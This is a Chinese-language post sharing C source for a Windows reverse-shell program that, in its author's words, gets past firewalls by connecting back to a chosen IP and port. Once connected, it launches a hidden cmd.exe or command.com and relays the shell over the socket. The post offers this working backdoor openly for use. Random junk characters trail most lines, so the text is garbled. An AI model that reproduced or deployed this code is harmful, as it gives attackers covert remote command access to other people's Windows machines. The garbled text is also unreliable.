Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 SM1L^M3)  
$/$Hi U`.  
/* ============================== Z:^ S-h  
Rebound port in Windows NT ~=I:go  
By wind,2006/7 [KCR@__  
===============================*/ )1YX+',"  
#include `Y^l.%AZZ  
#include *
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C XNYWx  
#pragma comment(lib,"wsock32.lib") ,9MNB3  
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void OutputShell(); wEN[o18{  
SOCKET sClient; suYbD!`(  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 6G}4KGQc  
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void main(int argc,char **argv) $sUn'62JlU  
{ 1f'msy/  
WSADATA stWsaData; *Vg)E*s  
int nRet; H}q$6WE  
SOCKADDR_IN stSaiClient,stSaiServer; 5X9Lh_p  
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if(argc != 3) VDxF%!h(  
{ 27}7 n  
printf("Useage:\n\rRebound DestIP DestPort\n"); fn.;C  
return; %$'fq*8b  
} REh\WgV!u  
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WSAStartup(MAKEWORD(2,2),&stWsaData); r'lANl-v  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); jc\y{I\  
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stSaiClient.sin_family = AF_INET; C7f*Q[  
stSaiClient.sin_port = htons(0); {+[Ex2b$  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); VvT7v]  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) UoUQ6Ij  
{ tR2%oT>h  
printf("Bind Socket Failed!\n"); >3~)2)Q  
return; 7%[ YX  
} e Qk5:{[  
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stSaiServer.sin_family = AF_INET; -@Urq>^v T  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); u^#e7u  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); =BJe}AV  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ,}"jiGgS4  
{ Hs_7oy|P  
printf("Connect Error!"); ZLdIEBi=  
return; qQ6@43TC  
} *-uzsq.W  
OutputShell(); @1<VvW=  
} tkkh<5{C   
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void OutputShell() s:(z;cj/  
{ %iJ}H6m  
char szBuff[1024]; ,V^$Meh  
SECURITY_ATTRIBUTES stSecurityAttributes; o^MoU2c  
OSVERSIONINFO stOsversionInfo; `e?~c'a@  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; K5t.
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STARTUPINFO stStartupInfo; pU[yr'D.r  
char *szShell; )qOcx I  
PROCESS_INFORMATION stProcessInformation; F%af05L[  
unsigned long lBytesRead; tmM; Z(9t  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); j)Kd'Va  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); m6]6!_  
stSecurityAttributes.lpSecurityDescriptor = 0; c@)?V>oe  
stSecurityAttributes.bInheritHandle = TRUE; b`,Sd.2=('  
& 9 c^9<F  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ^tI&5S]nE  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); UO!} 0'  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); N 
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [9:";JSl"Y  
stStartupInfo.wShowWindow = SW_HIDE; ,?Zy4-  
stStartupInfo.hStdInput = hReadPipe; /L@6Ae  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; IN;9p w  
DlAwB1Ak  
GetVersionEx(&stOsversionInfo); K[ S>EITr  
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switch(stOsversionInfo.dwPlatformId) v&3"(fp
 
{ $b2~H+u(  
case 1: u47`&\  
szShell = "command.com"; o_[~{@RoR  
break; [?;L  
default: C3~~h|:  
szShell = "cmd.exe"; G;ZN>8NB  
break; 7Kb&BF|Q  
} rc~)%M<[2  
Wm5[+z|2?9  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 51H6 W/$  
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send(sClient,szMsg,77,0); bAuiMw7!  
while(1) bn5O2  
{ UQ7La 7"  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); aGsO~ODc  
if(lBytesRead) +aPe)U<t  
{ ~Fl\c-  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ]#rV]As  
send(sClient,szBuff,lBytesRead,0); O, :|  
} RL/7>YQ  
else D`X<b4e8/  
{ F MYcZ+4  
lBytesRead=recv(sClient,szBuff,1024,0); !r/~D |  
if(lBytesRead<=0) break; NLYf  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); x!pd50-  
} &jQqlQ j  
} N2k{@DY  
z7)$m0',?  
return; D!Nc&|X^  
}